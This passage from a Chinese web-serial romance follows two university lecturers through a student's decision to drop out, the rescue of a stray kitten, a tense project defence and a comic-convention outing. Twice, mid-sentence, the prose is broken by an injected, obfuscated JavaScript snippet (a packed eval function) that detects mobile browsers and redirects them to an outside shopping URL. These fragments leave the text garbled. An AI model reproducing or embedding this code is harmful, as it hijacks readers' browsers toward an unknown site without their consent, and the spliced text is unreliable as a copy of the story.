贺鸣云不再多问,点点头继续:“在做最后决定前,还需要评估几个客观情况。第一,退学后的最高学历和应届生状态。第二,你目前的条件在就业市场上的估值。第三,未来是否还有继续深造的需求或者可能。” 方溯不是没有想过,她退学后只有本科学历,学的还是冷门专业,恐怕求职胜算最大的岗位就是去写短剧剧本,然后被拖欠工资两年。但她觉得,再怎么样,也比在徐宇手下当牛做马的好。 贺鸣云像是看透了她的心思,说:“常见的一种误解就是,只要离开目前这个坑,我就能喘口气,过得更好。实际上大多数人都是离开一个坑,又跳进另一个坑。” 方溯被他的话噎了好几秒,才说:“贺教授,你真的好像个机器人……” 贺鸣云微微颔首:“谢谢。” “我没有在夸你……” 贺鸣云没理她,接着说:“你是学生,但也已经是成年人了,要对自己的选择负责。充分了解可能的后果后,如果能做到是输是赢都认了,那就按你的想法做吧。江老师也只能给你提提建议,不可能越俎代庖规划你的人生。” 他说这两句话的时候,语气没之前那么笃定了,腰杆没那么直了,眼神也有些闪躲。 方溯细品了一下,才琢磨出味道来,原来贺教授在替江老师开脱,意思是,你这个小鬼以后要是后悔了,可别怪到你老师头上。 好强的占有欲,他不是连名分都还没有吗?跟谁装大小王呢? “这我明白,”方溯看向江无远,“老师,你怎么想?” 江无远怎么想? 江无远好想像普通父母那样,一哭二闹三上吊,说孩子你不要冲动啊,这年头考上研究生不容易啊,工作真的很难找啊! 但她不能。 她太明白方溯了,今天方溯来找她,已经说明了她的决心。她不能让方溯失望,不能给她的勇气泼冷水。 “小溯,你很聪明,你分得清楚‘坚持’和‘忍受’。很多人觉得放弃可惜了,但在错误的道路上坚持也是对生命的浪费。” “老师!” “小溯!” 两人四只小手拉上了,执手相看泪眼,根本忘了现场还有个毫无抒情细胞的贺鸣云。 “找不到工作也不行,不靠能力赚钱也是对生命的浪费,”贺鸣云打断她俩,问江无远,“江老师,你能帮她推荐几个面试吗?我也会找找合适的。” 门铃又响了。 方溯把老乡鸡外卖拎进来。 “老师,贺教授,打扰你们吃晚饭了,谢谢你们,我已经想好了。工作的事你们不要太为我操心,我自己也会努力找的。” 江无远不知道该说什么,求助地看了贺鸣云一眼。 贺鸣云心领神会,说:“方溯同学,学可以退,不要影响我们一起做的课题。” 江无远绝望地闭上了眼。 30. 膝盖之下 据最近一段时间的近距离观察,贺鸣云发现,江无远心情不好的时候会沉思,沉思的时候会放空,放空的时候眼神会略显呆滞,且眨眼的频率会变慢。 所以他只需要安静地观察江无远半分钟,就能判断她心情如何。 现在,不太妙。 趁方溯收拾垃圾袋,贺鸣云低声说:“江老师,你休息吧,我会送方溯到宿舍楼下的。” 江无远摇摇头:“我一起,我也想走走。” 两人把方溯送回宿舍,默契地都没有提回家休息的事。 今年气温异常,持续高温,开学时间推迟到了九月中旬。现在是九月刚开始,陆陆续续有学生住回学校。 天色刚刚擦黑,两人在校园并肩漫步,却也没被认出来。 江无远感慨:“学校这么小,但里面的人,都在烦恼和忙活自己的事。” 贺鸣云明白她的意思,说:“你不会读心术,别人不说,你很难知道他们的烦恼。” “如果我有带研究生的资格,小溯就可以做我的学生了。” “你不能用假设来责怪自己,”贺鸣云冷静指出,“你虽然讲课讲得好,但带研究生是另外一回事,你还真不一定带得好。” 江无远白了他一眼:“……谢谢你角度刁钻的安慰。” 贺鸣云继续发扬光大他的实用主义精神:“实话实说,按现在文科专业的就业情况来看,退学未必不是明智的选择。” “我明白你的意思,只跟你说,其实我也认为最适合小溯的不是学术深造这条路,”江无远叹了口气,组织了一下语言,“小溯太正了,但又不是你这种正……在这个抱团的环境里,她很难生存。我怎么越说越乱了?” 贺鸣云言简意赅:“你的意思是,我独来独往,但我皮糙肉厚,所以我可以这样没羞没臊地活下去。” “……我的意思应该没有你翻译的这么伤人。” “高校的氛围越来越糟了,”贺鸣云沉默了一会儿,说,“我也会担心小钟,脾气比我还冲。我明白你的感受。” 江无远心里一动,偏头看他,而贺鸣云正好也在看她。 “我会努力,把她留在我身边。” 他的表情很认真,语气也郑重其事,脸上还带着几分天真。 在象牙塔里,一个好老师想保护一个好学生,能想到的办法竟然只能是:努力把她留在我身边。 江无远感到心安,又无比心酸, 她还为他感到遗憾。 和贺鸣云不同,江无远情商高、人脉广,关注职场风向。她知道两年前,贺鸣云才三十二岁,就已经被公认会是社科院的下一任副院长。坊间还一度传闻,他三十五岁前就能评上正教授。 而今天,公认的下一任副院长之位已经易主,张智学既不正派,也不杰出,却空降骑到了贺鸣云头上。 事前事后,唯一的变量就是,大家认为的贺鸣云的“靠山”马远征院长,因病没能晋升为副校长,贺鸣云失去了他最大的、可能也是唯一的人脉助力。 江无远去年还听说,张智学抢了贺鸣云的一个研究生。当时学院是按学生的成绩和研究方向分配的导师,这个研究生原本分给了贺鸣云,但张智学得知学生是自带资源的学二代后,要求学院重新进行了分配。 她听说贺鸣云对此的反应是“随便,反正也不是多优秀的学生”。当时江无远哑然失笑,只觉得贺鸣云迟钝得不可理喻,难怪斗不过张智学这个草包。 现在她逐渐熟悉贺鸣云其人,只想替他扇张智学两巴掌。 贺鸣云注意到江无远沉默了,眨眼睛的频率再度下降。 他一向开门见山,不懂委婉。“江老师,你在想什么?” “我在想,那你呢?以前有人保护你吗?” 贺鸣云被她问得措手不及,思考了一会儿。 “说不上来,至少有一点很幸运,我的导师人都不错。” 他们走过学校的网球场。 江无远看着在打网球的学生,他们还很年轻,当他们走出校园,会成为什么样的人? “你觉得我们算是好老师吗?我们在大学里,到底是在培养人,还是在消耗人?” 他知道她在难过什么,执教几年,他也目睹过不少优秀的学生日渐迷茫,或是被迫内卷,或是黯然退学。她不仅为方溯伤心,也为教育理想的破灭伤心。 “你今天做得很好,你是个很好的老师。我们做不了学生的保护伞,也只能帮点小忙。” “就像你对小钟那样?” “?”贺鸣云一如既往,听不出好赖话,“我对小钟怎么了?” 他突然站住了。 江无远一头撞在他身上。“怎么了?” 贺鸣云比了个“嘘”的手势,小声问:“你听到猫叫了吗?” 江无远凝神静听,确有微弱的喵喵声,从杂草丛里传出来。 “咪咪?” 江无远弯下腰要爬进草丛,她穿的是条浅色的裤子,贺鸣云赶紧拦住她。 “我来,我比较方便。” 江无远还没出声,贺鸣云扑通一声跪下了——跪得非常标准,感觉膝盖特别柔韧——四肢着地往草丛里爬。 江无远打开手机自带的电筒,蹲下给他打光。 “贺教授,你慢点哦,这草很深,里面有虫子,可能还有蛇。” 贺鸣云身形僵了僵,稳了稳心神心神才继续往里爬。不慎一手摁在野玫瑰的刺上,“嘶”了一声。 “怎么了?被蛇咬了?” 贺鸣云没好气地说:“你别添乱,打好电筒就行。” “你小点声,凶什么呀?等会儿把小猫吓着了。” 贺鸣云忍气吞声,终于爬到了声源附近。 他跪在地上,打开手机的电筒,仔细查看。 只见不远处两点亮光,是小猫的眼睛,像萤火虫,朝他靠近了点,又停住了。 “猫猫?”贺鸣云朝它招招手,小猫却后退了两步。 贺鸣云把一只手按在胸口,严肃承诺:“我是好人,从来不虐猫,你快点过来。” 小猫根本不吃这套,和他对峙着,一步也不肯靠近。 “贺教授,你还好吗?需要帮忙吗?” 贺鸣云沉默半晌,朝外面喊:“江老师,请把你的帆布包扔给我。” ***** 江无远先看了看贺鸣云脸上的抓痕。他那一小截眉毛还没长起来,看起来非常狼狈。 又看了看帆布包上的泥和灰尘,和草,和不明液体。 最后看了看在包里挣扎的、只有两个巴掌那么大的小猫咪。 “你……辛苦了。” “嗯,我刚刚悟道了,江老师,”贺鸣云抱着帆布包里的猫,浑身散发着诡异的父爱,“我们做老师和救流浪猫是一样的,有时治愈,常常帮助,总是安慰。能帮一个是一个。” 这好像是说医生的吧? “贺教授,你的悟道好突兀啊。” “谢谢。” “没有在表扬,”江无远伸手要接过小猫,“给我吧,你擦擦脸和手。” “还是我来吧,万一有皮肤病和寄生虫什么的,蹭你身上了。” 他对小动物还挺好的,江无远默默在心里给贺教授加了0.2分。 贺鸣云问:“接下来怎么办?” “刚刚我已经联系开宠物店的朋友了,你能开车吗?我们给她送过去行吗?” 贺鸣云怎么可能承认他不行,他不仅行,还懂得绅士地帮江老师开车门,车还是昨天刚洗的,令人自豪。 江无远还以为他平时都睡办公室呢,她好奇地问:“贺教授,你住得离学校远吗?” “不远,我家楼下就是地铁站,只是我不喜欢坐地铁,地铁臭。” “哦……” 江无远心里纳闷儿了,一般人都会回答住在哪个小区的吧?贺鸣云这么注意隐私的吗? 她倒也不是关心贺鸣云的隐私,只是最近房价跌得厉害,她想趁机抄底,开始看房了,在广泛打听有什么值得入手的楼盘。 江无远想了想,觉得贺教授应该不会介意、也不会误会,他只是像一台超级计算机,需要你开门见山输入指令。 于是她直接问了:“方便问你买在哪儿的吗?房价怎么样?” 他果然毫无保留:“蓝园5号楼8-2。你想买多大的?我去问问房价,问到了告诉你。” 蓝园是附近地段最贵的小区,江无远大惊失色:“你怎么这么有钱!你一个不能靠创业捞钱的文科副教授,怎么买得起蓝园!?” 其言辞之激烈、态度之强硬,宛如纪委正在彻查腐败分子。贺鸣云给她吓了一跳,自证清白道:“我买得早,读研究生的时候就买了,那时候房价还没涨起来。” “那也得要小百万吧?你哪里来的钱?傍富婆?” 贺鸣云非常不悦:“怎么凭空污人清白!马老头发的课题奖金,还有兼职赚的,那时候我做留学申请材料的业务,赚了挺多钱。” “你买在蓝园,那时候你就准备留校了吗?” “嗯,因为冰洋大学的社会学专业最强,”贺鸣云顿了顿,又说,“而且马老头也在冰洋大学。” 江无远隐隐感到,她已经快要触摸到贺鸣云的隐秘心事。 为什么他大学开始就拼命兼职,连家也不回? 为什么他能力出众,却完全没有天之骄子的骄纵,反而显得很普通很固执? 为什么他总是独来独往,好像早已习惯一个人? 为什么他这么听马远征的话,就好像,马远征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147669|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才是他的亲人? 为什么他明明高度疑似有洁癖,可发现流浪小猫,就立刻跪下去开始救助? 她心里已经有大概的猜想,在这方面,她总是很敏锐。 但她想不明白,他们现在是搭档吗?朋友吗?好朋友吗?她应该关心贺鸣云的心事吗?他们之间应该分享秘密吗? 贺鸣云不动声色,转移了话题:“我记得你没养宠物,怎么会认识开宠物店的朋友?” 江无远解释:“有点复杂,去年我们学院搞了个支持宠物保护法立法的活动,和本地一些宠物医院、宠物店、救助站建立了联系,这个朋友就是当时认识的。比较巧的是,她男朋友——当时的男朋友,现在已经分了——是我好朋友的同事,一来二去大家就挺熟了。” 贺鸣云不带任何感情地点评:“你的朋友很多。” “是啊,坊间传闻的高冷臭脸贺教授,不也成我朋友了?” 江无远说着把脸凑近贺鸣云,贺鸣云绷不住臭脸,也笑了笑。 “到了,在右边,车可以停店门口。看到了吗?绿色招牌那个,白衣服的女生就是向寻。” 贺鸣云停好车,抱着猫跟在江无远身后。 向寻领着他们进了宠物店,把小猫交给店员做检查,招呼两人在里屋稍坐。 店里一团糟,特别是里屋,堆满了狗粮、猫粮、玩具各种杂物,难以下脚。 向寻眼下乌黑,双目无神,看起来累得只剩半口气了。但动作出乎意料,行云流水力大无穷,三两下顺开了沙发上的狗粮,又单手拎过一只茶几放下,请贺鸣云和江无远坐。 贺鸣云不动声色,坐到了离向寻最远的角落,在边上听她俩交涉。 江无远上次见向寻,她还精神抖擞活力无穷,跟今天判若两人。“你怎么这么憔悴?生意太好了?” “生意好,店员走了一个,还有些杂七杂八的事。不过没事,还应付得来。猫你就放心放我这儿,挺漂亮的小三花,好找领养的。有什么问题我再打电话给你。” 向寻一口气说完,突然目露凶光,补充道:“我纯粹是因为工作忙才这么憔悴,跟分手一点关系都没有!” 江无远不禁后退半步:“好的,当然,我铭记于心!” 外面传来某种大型犬撕心裂肺的叫声,隐约还能听见主人的声音夹杂其中,若隐若现—— “老板,老板!寻姐,救命!逆子发疯啦!!” 向寻的死鱼眼立刻焕发出生机,她就是这样,对人没什么兴趣,唯爱猫和狗。 江无远识趣地道谢两句,让她放心去工作,他俩就不打扰了。 ***** 贺鸣云开车送江无远回家,把小猫托付给了靠谱的向寻,江无远放松下来,欣赏城市的沿街夜景。 这座城市已经是江无远的第二故乡,却依然让她陌生。她不开车,也不喜欢挤地铁,平时基本都在大学附近活动,很少涉足城市的其他地方。 对她来说,这里似乎只是“我工作的地方”,而不是“我生活的地方”。 她的生活在哪里呢? “贺教授,你空闲的时候都做些什么?” “没什么空闲的时候。” “假期之类的呢?” 贺鸣云想了想,说:“假期我也基本在工作,很少出门。” “这样啊。” 江无远没再说什么。 贺鸣云趁等红灯的空挡,偷偷瞄了眼江无远,她少见地沉默着,看着窗外。 “江老师,你想家了吗?” “嗯?可能是吧。也可能是因为小溯要退学,课题答辩又不太顺利,所以心情有点低落。” 贺鸣云肯定地说:“答辩会通过的。” 江无远笑了下:“好,相信你。” “是相信我们,”贺鸣云又说,“方溯也会找到她想走的路的,她还有很多时间,会遇到很多机会。以后她在哪里工作,我开车带你去看她。” 江无远悄悄看他的侧脸。贺鸣云还是面无表情,专心观察着路况。不管是工作,还是开车,又或者是试图安慰人,他总是淡淡的。 在她情绪波动时,他总是很冷静,总是……在她身边。 “好呀,拉钩。” “……我在开车,安全驾驶,拉不了。” 贺鸣云安全地把江无远送到楼下,互道“再见”后,他站着没动,脸上竟有几分踌躇的不舍之意。 他眼睛本来就大,又注意保养(长期使用进口眼药水),眸光在路灯下莹莹闪动,似有情丝万缕。 这气氛,这表情,好像韩剧的第八集啊。 江无远七分惊恐、两分期待、一份紧张,问:“贺教授,还有什么事吗?” 贺鸣云说:“老乡鸡的外卖,我还一口没吃上,饿……” 31. 睚眦必报 答辩会议室外,江无远见贺鸣云表情凝重、若有所思,小声问他:“你准备好了吗?” “嗯。” 贺鸣云伸出手。 江无远以为他需要一些鼓励和支持,伸手握住了他的手。 “……江老师,我的意思是,麻烦把笔记本给我,谢谢。刚想起来放你包里了。” “哦哦。” 贺鸣云接过笔记本,又说:“不用怕罗教授,你想说什么就说什么。” “我没怕,反正她要是骂我了,你就请我吃炸鸡。” 贺鸣云笑了下:“好,进去吧。” 跟在后面的方溯:那我呢?炸鸡有我的份不?Hello?有人关注下拟退学研究生的心理健康吗? ***** 李教授上次在江无远这里吃了瘪,这次率先发难:“江老师,上次我们讨论了你过往成果的相关性。我看了修改后的申报材料,你仍然计划大量使用虚拟民族志和做深度访谈。我是否可以理解为,在上次答辩后,你仍倾向于使用这些主观性强、难以量化的方法?” 江无远微微一笑,他们押中了这道题。 “李教授,感谢您再次关注方法问题,这正好是我们深化设计的核心。我们并没有放弃量化,而是采取量化先行、质性深描的混合路径,以实现一加一大于二的效果。贺教授,你能先介绍下量化分析部分吗?” 贺鸣云自然地接着她的话头说:“我们已经对近一千名冰洋大学的学生完成焦虑量表的普测,锁定了焦虑高风险的集群。江老师会从量化分析确定的群体入手,进行目的性抽样后,再有针对性地进行深度访谈。” 江无远总结:“所以,这并不是主观性强、无法量化的煽情个例,而是对典型案例的精确深描。打个比方,贺教授锁定病人的病患处在肝脏,再由我对病灶进行精确活检,每一份深描,都代表着一批量化样本。我们不是用故事替代数据,而是用故事诠释数据。” 李教授看向贺鸣云,老调重弹:“贺教授,你以前主导的课题都聚焦宏观社会结构,现在却把精力放在研究学生情绪的微观议题上。我们业内人士当然相信你的能力,但在其他有心人眼里,是否会有本末倒置、迎合潮流之嫌?” 方溯白眼都要翻上天了,什么“其他有心人”啊?我看就是你这个唯恐天下不乱的老学究。 贺鸣云记得他们一起准备答辩时,江无远跟他讲的:“他们不会攻击你的学术能力,只会靠贬低我和贬低课题价值,来贬低你,暗示你被我带偏,做的课题只是追逐热点,不够正统。” 贺鸣云经验丰富、理论扎实,从没在答辩时生过气、破过防,因为没有那个必要,解释好就行了,说清楚就好了——他本来是这么认为的。 “李教授,你提出了一个根本问题,社会学研究的责任是什么?我们的设计,正是要将宏观结构的压力指标,与微观个体的体验数据,进行多层次建模与交叉验证。这不是本末倒置,而是学术责任的必要下沉。” 贺鸣云一边回答,一边感到自己曾经动摇的心,此刻变得无比坚定。 “至于迎合潮流,”他停顿了下,意识到自己正在生气,非常生气,“如果迎合潮流,意味着让重要的学术议题被公众看见和讨论,进而推动改变,我认为这是学术的成功,不是学术的失格。” 江无远自然地接话:“李教授,说到迎合,我们这份申报材料第32页,引用了您2022年写的文章,关于应届毕业生的职业期待与社会稳定性。您在文章里写道:‘要关注高学历青年的心理健康,这关乎国家人力资本的质量。’我们就是响应您的号召,把大学生心理健康这个议题,从抽象概念转化为可测量、可干预的具体问题。这是传承您关心的学术问题,怎么算是追赶潮流呢?而且,潮流和经典本来就不互斥,马克思的《资本论》,在他所处的时代,也算是爆款文章嘛。” 李教授没想到,两三年前摸鱼写的小文章也被他俩挖出来了,一时语塞。 罗教授开口了:“你们的混合方法听起来完美,但操作复杂,成本高昂。大学生焦虑是多因素问题,你们要怎么保证研究结果不会被简化为批判学校或怪罪社会的片面之词?” 江无远的心轻轻抽痛了一下。原来罗教授认为,对社会现象的反思是“片面之词”。 原来罗教授从始自终就厌恶她的行事方式,从来就不可能站在批判权威的一边。 原来人缘好、口碑好的老教授,也可能只是玩转了学术圈这套潜规则,也可能只是从不参与有争议的研究。 她一开始就选错了合作对象,只是当时她太青涩,还不明白。 贺鸣云按下翻页笔:“可行性问题,请见我们的预算安排、时间甘特图和质量控制节点图。每一笔经费、每一阶段产出,都有体现。罗教授,你不是社会科学学院的教授,还不了解我的风格,我不会浪费一毛钱,浪费一分钟。” 江无远太佩服贺鸣云了,他按个翻页笔都按出了拉手榴弹引线般的气势如虹。 “至于立场问题,我们的核心模型恰恰反对单一归因。申报材料第16页可以看到,我们提出了焦虑感的嵌套生态系统模型,内核是生理和心理因素,中间层是以人际关系和成绩考核为主的校园微环境,最外层则是社会经济结构、文化氛围等大环境因素。我们的研究将揭示,系统如何将压力传导至个体,个体又如何通过认知与行动,反过来应对甚至重塑环境。” 贺鸣云的脸微微发红,语速也有点快,江无远顺势补充道: “各位教授,这不是一份问责清单,也不是一次跟风炒作。我们的目的不止揭示问题,也不是为了批评谁,而是计划基于研究成果,协同委托方,开发一套面向大学生的焦虑识别和应对的工具包。” 江无远看了贺鸣云一眼,他会意地按下翻页笔,把PPT翻到“成果产出”一页。 江无远接着介绍:“请看,我们已经和委托方进行了初步讨论,基于本课题研究成果,春晴拟开发一款小程序。有别于市面上的其他类似小程序,它不仅提供量表测评,还会根据测评结果,推送个性化的质性故事,让学生知道‘我不是一个人’。小程序还会定期推送微行动建议,同时一键链接真实、可靠的心理咨询资源。” 江无远直视罗教授,语气坚定:“我们相信,不管是社会课题还是学术研究,其终极目的,不是输出一份报告或论文后就束之高阁。学者应该让研究活起来,成为社会中流动的养分,支持个体的发展。这不仅是用户的需求,也是委托方的需求,更是课题负责人的责任。” 上次答辩几乎保持沉默的蒋教授突然开口:“我对课题的研究方法和经费安排没有异议。但你们课题组的人员设置似乎不太合理,只有一个副教授,一个讲师,带了几个学生,这实在是……” 贺鸣云心里有股火气。 蒋教授自己就是新传学院的,作为江老师的半个前辈,非但不提携,还要踩后辈两脚。学术圈里这种讲派系排资历、恨人有笑人无的风气,令人厌恶。 “申报材料里已经展示了课题组成员的履历,我不再赘述。课题组有擅长做量化的我,擅长做质性的江老师,以及擅长数据分析、案例整理的几名学生,我认为这是最佳配置,”贺鸣云顿了顿,说,“而且我认为,这不是蒋教授你应该关注的问题,在质疑别人的课题组配置前,不如先回头看看自己的课题做得怎么——” 江无远吓坏了,拿胳膊肘肘击他,堪堪阻止了贺鸣云继续大放厥词。 蒋教授脸色黑如锅底。他带的研究生去年写举报邮件,投诉他套取经费、让关系户学生进组,还把邮件群发给了冰洋大学官网上所有公开了邮箱地址的老师,闹得沸沸扬扬。 贺鸣云吃了一记肘击,非常委屈,小声问:“不是你写的答案吗?我特意背下来的。” 江无远在心里暗自发誓,贺教授没什么幽默感,以后千万不能在他面前玩抽象了。 为了缓和气氛,江无远接过话茬:“目前看来,课题组人员合作得不错,委托方也很满意。感谢各位教授的关心和指导,课题组的所有行动,都会在严格的学术伦理框架内进行,并接受各位的持续监督。我们期待,不仅是向委托方,也向同事和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156841|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生们,交出一份不负学者与老师双重身份的答卷。” 贺鸣云没说什么,直接把PPT翻到了最后一页,上书四个大字:“谢谢指导。” 摊牌了,不装了,学术天才觉得答辩可以结束了。 冷教授没怎么提问,但看得懂气氛。他小心地开口:“各位评审老师还有其他问题吗?” 评审小组一片寂静。 冷教授又看向贺鸣云和江无远:“两位老师,你们还有什么要补充的吗?” “有,”贺鸣云朝坐在最后面的方溯点点头,“方溯同学,有劳你来收尾。” 方溯站起身:“各位教授好,我是课题组成员方溯。我明白各位前辈的想法,学术圈青睐清晰显著、易于测量的贡献。相比之下,关注个体的困惑和痛苦,这样的研究太普通、太落地了,显得不够纯粹,不够高级,不够上档次。” “但社会学和新闻传播学的使命,不应该止步于描述现象,更应该通过看见和触碰,改善个体的处境。这也是我选择攻读新传专业的初心。如果我们的课题研究,能让一个同学在感到焦虑时,对自己的状态多一分了解,对自己多一分接纳;能让一个辅导员面对学生时,多一套科学工具作为应对参考,更好地接住学生的情绪。那我认为,我们的研究就足够有价值,足够有意义。” 方溯看了眼坐在一起的江无远和贺鸣云,又说:“这次的委托方是春晴集团,春晴的联合创始人平均年龄31岁,都是隔壁精菁大学毕业的高材生。我出于好奇,问过委托方代表,精菁大学的人文社科排名也是全国数一数二的,为什么不把课题给母校的老师做?” 这事儿江无远和贺鸣云都不知道,他俩只知道这项目是马远征派下来的,还以为老头靠的是混迹圈子多年的人脉关系。 方溯说:“委托方的答案很简单,精菁大学重理轻文,推崇精英文化,风气和春晴的发展理念不契合。委托方想要的并不是可以发C刊的成果,更不是对焦虑的学生高高在上的分析和指责。他们想要的是,真心在乎这个话题的人,和他们一起完善这个产品。” “在场的各位教授,大家或许理念、风格不同,偏好的研究方式和话题也不同,所以意见会相左。但如果要在冰洋大学里找出最适合做这个课题、最符合委托方要求的课题负责人,我想不会有异议,当然是贺教授和江教授。” 江无远鼻子一酸,她明白贺鸣云的用心,方溯已经决定退学,至少短时间内,她不会再攻读研究生了,这或许就是她人生中最后一次作为研究生做课题答辩。贺鸣云希望给她一个机会告别,一个机会在舞台上闪耀。 她看了眼贺鸣云,贺鸣云也正看着她。 他微笑着,朝她伸出了手。 这次她没有理解错,紧紧握住了这双温暖、稳定的手。 ***** 答辩结束后,江无远心情大好,宣布要请客,让方溯挑家贵的。 方溯淳朴地表示:“我想吃寿司。万达新开了家金匠寿司,贺教授能吃吗?” 贺鸣云平时吃沙拉都是装的,其实很爱吃碳水。“当然,你想吃什么我们都可以。” 方溯隐秘地翻了个白眼,怎么又“我们”上了?江老师跟你算哪门子“我们”? 方溯忍辱负重,深明大义道:“那我取个号先去签到,老师你们放好东西再来碰我。” 留下那两人悄悄诉衷肠。 江无远向贺鸣云道谢:“贺教授,谢谢你。” 他居然毫不领情,还一副如临大敌的样子:“我又怎么了?” “我是真的谢谢你,谢谢你让小溯做总结发言。” “?” 他怎么还娇羞上了?想让她多夸两句? 于是江无远又说:“我知道你是想鼓励小溯,学术圈这些老东西没什么了不起的,她就算退学了,也会有光明的前途,要永远勇敢地表达自我、为自己发声。” 贺鸣云的表情十分茫然:“……不是,答辩需知里写的,原则上重要参与人均需参与答辩。我不想被评审小组挑刺,就叫她来了。” “……” 32. 辣妹来袭 贺鸣云按照约定,准点到楼下等江无远。 江无远约他时闪烁其词,只说需要他开车去一个“有点远的地方”,参加一个“有趣的活动”,以及不准他穿皮鞋,让他穿双好走路的鞋。 在她下楼之前,贺鸣云以为,他们是要去参加江老师亲戚朋友的婚礼。 江老师二十九岁了,这个年纪确实比较尴尬。贺鸣云本人也深受其害,被各种不相干的人介绍对象催婚。 他猜想江老师是觉得一个人参加婚礼比较尴尬,所以叫上他当男伴。 而全世界有40亿男人,江老师偏偏选了他。 他把自个儿给想美了,特意穿了最贵的那件黑色真丝衬衣,去年在美国参加学术会议,顺路在奥特莱斯买的,折后都要两千多呢。 江老师下楼之后,贺鸣云彻底傻眼了。 她看起来完全不是去参加婚礼,而是去结婚的。 她穿了条白色的无袖连衣裙,上面绣着精致的浅蓝色花纹,手臂上还戴了一副白色长手套。 要么就是去杀人的,还背了把刀在背上。 江无远抢先说:“你先别发表任何言论,容我先解释一下,我们今天要去参加漫展,就是动漫爱好者的活动,我现在扮演的是一个动漫角色。” 贺鸣云愣了半晌。“你怎么不早点跟我说是去漫展,还有你会……穿成这样?” 他觉得江无远像个仙女,而他穿得像个保镖。 “我要是说了,你肯定会说不感兴趣。现在你来都来了,上了贼船,跑不了了嘛,”江无远猜到他在郁闷什么,说,“穿得很帅,贺教授。像动漫里的杀手,和我很搭。” ***** 车内的氛围十分焦灼。 江无远无奈道:“你别偷瞄我了行吗?开车注意安全。” “抱歉,我只是,不习惯你这种装扮……” “哪种装扮?这也不暴露啊,长裙。” 贺鸣云支支吾吾:“不是暴露,就是……不太常见。我之前,有次看到你穿成这样,比这个要露一点,我以为……以为……” 他自说自话,居然还把自己给说脸红了。 江无远心领神会:“以为我是有榜一大哥的主播?以为我是搞擦边的网红?” 贺鸣云连忙否认:“没有,没有!我只是以为你喜欢那种风格,辣妹?妖精?红颜祸水?故意吸引人的视线?” 江无远白了他一眼:“你还真是擅长一本正经说些很冒昧的话啊。” 等红灯的间隙,贺鸣云没忍住,又开始盯着她看。 江无远烦死了:“你到底在看什么啊?” 贺鸣云在看她戴着的紫色美瞳。 “这个角色就是紫色的眼睛,我是为了严谨戴的美瞳。” “这是什么角色?” “一部动漫叫bleach,这是里面的女主角露琪亚。” “哦。” 一到目的地,趁着排队,贺鸣云摸出手机搜索,“bleach的男主角是谁?” 江无远正在整理妆容,没料到贺鸣云突然发难:“你为什么不让我演一护?他这个衣服很保守,我也可以穿。” 他也不嫌热啊? “人家是黄毛,你能演黄毛吗?”江无远白了他一眼,“而且露琪亚的老公不是一护,是恋次。” 也没人提老公的事,但贺鸣云还急上了:“什么?为什么?恋次又是谁?” “是个红毛,还是高马尾,你也演不了。” 贺鸣云垂头丧气:“……我怀疑,你叫我一起,只是想蹭我的车。” “天地良心,蹭车只是顺便的。我主要是想带你来看看,给你点研究灵感。” 贺鸣云不敢细问,是什么研究灵感,研究辣妹文化吗?研究动漫里的燃冬吗? “走吧,别在那儿嘀咕了。先带你去看小钟研究的乙女游戏。” 这次漫展主办方出手阔绰,请了不少coser,质量很高。 他们先碰到了《鬼灭之刃》伊之助的coser,裸着上半身,八块腹肌比贺鸣云的学术前景还要清晰。 贺鸣云不禁后退三步:“这个也太暴露了……” “男的也暴露啊?” 江无远定睛看了看贺鸣云的后脑勺,这也没留小辫子呀,怎么这么封建? 贺鸣云皱眉:“那边那个也暴露。” “人家是人鱼,你总不能让鱼全副武装、一点不露吧?”江无远把他拽过去,“看,这五个就是你徒弟喜欢的男人。” 贺鸣云仔细看了个遍,简短点评:“五个都没我高。” 江无远白了他一眼,谁问他了? “你都认识谁是谁吗?” “认识,”贺鸣云无奈地说,“我要看小钟写的论文的,被迫学习了很多新知识。” “小钟论文具体写的什么?太好奇了,发表了我要看。” “外审被打回来修改,可能还要过一阵子,”贺鸣云一讲这个就来劲了,“最开始她是专注于对女性表达欲望的规训,以及女□□望的合法化表达的。后来随着研究深入,也开始研究社群认同。” “哎呀,那今天应该邀请小钟一起来的,漫展就是个亚文化社群活动嘛。” 贺鸣云愣了下:“你今天真是带我来搞学术研究的?” 江无远一点儿没听出他的失望,还在自说自话:“看完coser了我们再去摊位上逛逛,摊位会卖很多同人制品,画册啦,同人文集啦,徽章这种小商品之类的。你看,社群成员在消费的同时,也在自发产出同人制品,有些人还会无偿翻译外网上的同人文。” 贺鸣云没接触过这方面,问:“外网上的同人文?” “嗯,就是比较黄的同人文,各种play都有,比如S——” 贺鸣云忙打断她:“好的好的,我懂了,不用再深入解释了。” “包括漫展上自发的cosplay也是,这些出于热爱的义务劳动,既加强了社群认同,也为游戏和动漫注入了新的生命力,成为资本增值的重要环节。” 贺鸣云见她侃侃而谈,不禁微微一笑:“你准备做这方面的研究?” “嗯,之前做过一个亚文化社群虚拟民族志的课题,我想在这个基础上写一篇论文出来。” 江无远轻描淡写说完,探究着贺鸣云的表情。 他可能也会对她的选题评头品足,像院里的老教授一样,说她只知道蹭热点,只会搞这些外强中干的东西。 贺鸣云看着她的眼睛,认真地说:“江老师,我很期待看到初稿。如果有我或者小钟能做的,请务必叫上我们。” 贺鸣云的情商低得令人发指,经常口出狂言惹人火大。但也正因为如此,当他说“期待”时,你知道他不是在客套,而是真的相信你会做得很好。 